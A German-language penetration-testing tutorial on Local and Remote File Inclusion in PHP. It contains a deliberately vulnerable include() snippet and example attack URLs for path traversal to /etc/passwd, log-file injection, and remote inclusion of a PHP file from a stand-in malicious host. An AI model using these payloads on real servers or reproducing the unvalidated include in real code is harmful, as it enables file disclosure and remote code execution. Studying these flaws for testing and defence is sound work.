# Local File Inclusion (LFI) und Remote File Inclusion (RFI)

## Einführung

Datei-Inklusions-Schwachstellen wie **Local File Inclusion (LFI)** und **Remote File Inclusion (RFI)** treten auf, wenn eine Anwendung unkontrolliert Dateien von einem Server (lokal oder remote) in ihren Output einbindet. Dies geschieht oft durch die Übergabe von Parametern in GET-, POST-Anfragen oder Cookies, die Pfade zu Dateien definieren. Angreifer nutzen diese Schwachstellen aus, um Zugriff auf unerwünschte Dateien zu erhalten, vertrauliche Informationen einzusehen oder in manchen Fällen sogar Code auszuführen.

### Typische Risiken bei LFI:

* **Vertrauliche Informationen preisgeben** (z.B. `C:\windows\system32\drivers\etc\hosts`)
* **Codeausführung** durch Log-Injection oder andere Techniken

### Typische Risiken bei RFI:

* **Remote Code Execution (RCE)** durch das Einfügen externer Dateien
* **Übernahme der Kontrolle über den Server**, wenn externe bösartige Skripte eingebunden werden

## Gefährliche Einstellungen

Viele LFI- und RFI-Schwachstellen treten auf, weil Anwendungen auf PHP-Methoden wie `include()`, `require()`, `include_once()`, oder `require_once()` vertrauen, ohne den Dateipfad ausreichend zu überprüfen oder Eingaben zu filtern. Hierbei ist insbesondere das Fehlen von Filtermechanismen und Input-Sanitisierung ein großes Problem.

### Beispiel für gefährlichen PHP-Code

```php
<?php
// Inkludiert eine Datei basierend auf einem URL-Parameter
$page = $_GET['page'];
include($page); // Keine Validierung des Inputs, anfällig für LFI/RFI
?>
```

## Grundlegende Commands zur Identifikation und Ausnutzung

Um LFI oder RFI zu testen, wird typischerweise versucht, Dateien vom System zu lesen. Hierbei können Pfad-Traversal-Techniken mit `../`-Sequenzen angewendet werden, um auf geschützte Verzeichnisse zuzugreifen.

### Beispielanfrage zur LFI-Ausnutzung:

```url
http://targetsite.com/index.php?page=../../../../../../etc/passwd
```

In diesem Beispiel versucht der Angreifer, auf die Datei `/etc/passwd` auf einem Linux-Server zuzugreifen. Der `../`-Pfadtraversal gibt an, dass das Dateisystem schrittweise in das übergeordnete Verzeichnis zurückkehren soll, bis die Zielressource erreicht ist.

### RFI-Ausnutzung (wenn `allow_url_include` in der PHP-Konfiguration aktiviert ist):

```url
http://targetsite.com/index.php?page=http://malicioussite.com/malicious.php
```

Der Server lädt hier eine externe Datei und führt möglicherweise enthaltenen bösartigen Code aus.

## Schritt-für-Schritt-Anleitung zur Pentest-Prüfung

### 1. Enumeration

*   **Initiale Pfadprüfung**: Testen Sie mit einer einfachen Anfrage, um herauszufinden, ob eine Datei-Inklusion existiert:

    ```url
    http://targetsite.com/index.php?page=testfile
    ```
*   **Pfad-Traversal-Test**: Führen Sie Tests mit `../`-Sequenzen durch:

    ```url
    http://targetsite.com/index.php?page=../../../../etc/passwd
    ```
*   **Windows-spezifische Ziele**: Zugriff auf die Datei `hosts` testen:

    ```url
    http://targetsite.com/index.php?page=../../../../../../windows/system32/drivers/etc/hosts
    ```

### 2. Validierung und Identifikation

* Prüfen Sie, ob die Datei tatsächlich im Response-Body enthalten ist, was auf eine LFI hinweist.
* Überprüfen Sie die PHP-Konfiguration (falls einsehbar) und die Einstellung `allow_url_include`. Ist diese auf `On` gesetzt, besteht das Risiko einer RFI.

### 3. Exploitation

* **LFI zur Codeausführung (falls möglich)**:
  *   Log-Injection-Technik: Eingabe von PHP-Code in Log-Dateien (z.B. Access-Logs) und Abruf der Logs über LFI.

      ```url
      http://targetsite.com/index.php?page=../../../../var/log/apache2/access.log
      ```
* **RFI zur Remote-Codeausführung**:
  * Laden Sie eine bösartige PHP-Datei von einem entfernten Server.

### Ergänzende Tools

* **`wfuzz`**: Um Pfade für mögliche LFI/RFI zu bruteforcen.
* **`Burp Suite`**: Zum Durchführen komplexer LFI/RFI-Manipulationen und Eingabeprüfungen.
* **`Metasploit`**: Es gibt Module zur automatischen LFI/RFI-Exploitation.

***

## Die `include()` Methode in PHP

Die `include()` Methode importiert den Inhalt einer Datei und führt sie aus, als ob sie direkt in den Code eingefügt wäre. Einfache Beispiele:

### **Code-Beispiel:**

```php
// Datei: vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
```

```php
// Datei: test.php
<?php
echo "A $color $fruit"; // Ausgabe = "A"
include 'vars.php';
echo "A $color $fruit"; // Ausgabe = "A green apple"
?>
```

**Beschreibung**: `include()` integriert den Inhalt von `vars.php` und macht die darin enthaltenen Variablen verfügbar, sobald es aufgerufen wird.

Durch den Einsatz dieser Methode ohne Eingabekontrolle und Validierung entstehen die beschriebenen LFI/RFI-Schwachstellen.
